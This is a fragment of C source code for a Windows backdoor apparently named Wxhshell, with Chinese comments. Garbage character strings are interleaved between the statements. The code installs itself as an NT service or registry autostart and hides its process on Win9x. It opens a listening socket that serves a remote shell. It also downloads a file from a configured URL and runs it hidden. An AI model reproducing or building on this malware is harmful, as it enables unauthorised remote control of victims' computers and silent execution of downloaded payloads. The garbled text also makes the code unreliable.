if (!NtQueryInformationProcess) return 0; yrsP'th "Wi`S; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ; UrwK if(!hProcess) return 0; ?rBj{]= WDzov9ot if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R63"j\0 D<xP x CloseHandle(hProcess); Tr@`ozp8 /c'#+!19 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~ S-x-cZ if(hProcess==NULL) return 0; 7ZZSAI 6bb=; HMODULE hMod; ' J-(v char procName[255]; _^a.kF unsigned long cbNeeded; $oxPmELtpe Hlz4f+#I if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t Ac;O[L gVG :z_6 CloseHandle(hProcess); j,1,; P+[QI
U if(strstr(procName,"services")) return 1; // 以服务启动 Z:K+I+:t 0CT}DQ._^N return 0; // 注册表启动 2zz,(RA } :.Y|I[\E% js~tKUvg // 主模块 W%TQYR int StartWxhshell(LPSTR lpCmdLine) w#oGX { x
Sv-;!y SOCKET wsl; NwguP BOOL val=TRUE; Odm#wL~E int port=0; (B@X[~ struct sockaddr_in door; KE<kj$
Re>AsnA[ if(wscfg.ws_autoins) Install(); u^Vh.g] K4C^m|e port=atoi(lpCmdLine); HN{z T& WZq,()h if(port<=0) port=wscfg.ws_port; UVrQV$g! W;4Lkk$ WSADATA data; _g[-=y{Bb if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wq UQ"d _pW_G1U if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _K'7(d0z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3)3Hck
door.sin_family = AF_INET; $xT1 1 ^ door.sin_addr.s_addr = inet_addr("127.0.0.1"); s.VA!@F5 door.sin_port = htons(port); % #u.J
b^x07lO if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t0q_>T-kt closesocket(wsl); UP2}q?4 return 1; 1_uvoFLk } fxd0e;NAAh kx:jI^ if(listen(wsl,2) == INVALID_SOCKET) { f8=]oa] closesocket(wsl); 'f+NW& return 1; " !-Kd'V } wO7t!35 Wxhshell(wsl); w~|1Wd<v WSACleanup(); IxOc':/jY hd2'AlB return 0; id ?"PD"% (Sv>NQp } {:bN/zV# zT[6eZ8m // 以NT服务方式启动 e"k/d< VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G>w+#{( { o5!f#Y DWORD status = 0; n-J2/j DWORD specificError = 0xfffffff; ;JT(3yK4>p kccWoU, serviceStatus.dwServiceType = SERVICE_WIN32; HbM0TXo serviceStatus.dwCurrentState = SERVICE_START_PENDING; .Q* 'r&n serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qhn;`9+L serviceStatus.dwWin32ExitCode = 0; S_b/DO serviceStatus.dwServiceSpecificExitCode = 0; NmpnJu|8 serviceStatus.dwCheckPoint = 0; .tnkT;T serviceStatus.dwWaitHint = 0; =:=/Gz1 fThgK;Qy'U hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t
Rm+? if (hServiceStatusHandle==0) return; ^U@~+dw
c5% 6Y2W0 status = GetLastError(); 3<:jx~y> if (status!=NO_ERROR) gb" 4B%Hm { 86
.`T l; serviceStatus.dwCurrentState = SERVICE_STOPPED; Z7a945Jd serviceStatus.dwCheckPoint = 0; @S^ASDuQU7 serviceStatus.dwWaitHint = 0; 2g-` ]Vqb serviceStatus.dwWin32ExitCode = status; HrM$NRhu serviceStatus.dwServiceSpecificExitCode = specificError; 33Az$GXFsq SetServiceStatus(hServiceStatusHandle, &serviceStatus); M4yI`dr6 return; lDU_YEQ> } vXE0%QE'Q wT,R0~V0 serviceStatus.dwCurrentState = SERVICE_RUNNING; 646JDX[o serviceStatus.dwCheckPoint = 0; eiVC"0-c} serviceStatus.dwWaitHint = 0; zM#sOg if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vB\]u. } GVGlVAo|@ 1q7tiMvV- // 处理NT服务事件,比如:启动、停止 U/ od~29 VOID WINAPI NTServiceHandler(DWORD fdwControl) oUZoj2G1 { W?woNt'n switch(fdwControl) |{>ER,<- { \ 0W!4D
case SERVICE_CONTROL_STOP:
\M<3}t serviceStatus.dwWin32ExitCode = 0; #W>QY Tp serviceStatus.dwCurrentState = SERVICE_STOPPED; OHv! serviceStatus.dwCheckPoint = 0; L{-LX=G^ serviceStatus.dwWaitHint = 0; #%0Bx3uM { \3f&7wU SetServiceStatus(hServiceStatusHandle, &serviceStatus); w"Y` ]2 } :aCrX return; 2Os1C}m case SERVICE_CONTROL_PAUSE: "Jq8?FoT serviceStatus.dwCurrentState = SERVICE_PAUSED; FzQTDu9 break; k <iTjI*N case SERVICE_CONTROL_CONTINUE: XRx+Dddt; serviceStatus.dwCurrentState = SERVICE_RUNNING; YyAJ m^o break; \JEXX4% case SERVICE_CONTROL_INTERROGATE: @mP]*$00 break; }je,")#W };
s#~GH6/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hb} X-6N } Ysq'2 >@xrs // 标准应用程序主函数 JxE53ev int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]V l]XT$Um { !* Ti}oIo& c#-U%qZ // 获取操作系统版本 'm1N/)F OsIsNt=GetOsVer(); v\16RD GetModuleFileName(NULL,ExeFile,MAX_PATH); McH>"` d@`M
CchCB // 从命令行安装 A1'hlAGF if(strpbrk(lpCmdLine,"iI")) Install(); &qpr*17T j`^$# // 下载执行文件 61puqiGG^ if(wscfg.ws_downexe) { m(RXJORI if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L^2FQti> WinExec(wscfg.ws_filenam,SW_HIDE); aRG2@5 } |8mhp.7 _XJ2fA ) if(!OsIsNt) { \drqG&wl // 如果时win9x,隐藏进程并且设置为注册表启动 &%})wZ+Dj HideProc(); d
;vT ~; StartWxhshell(lpCmdLine); yjfat&$ }
.ObZ\.I else
;};wq&b# if(StartFromService()) IDnC< |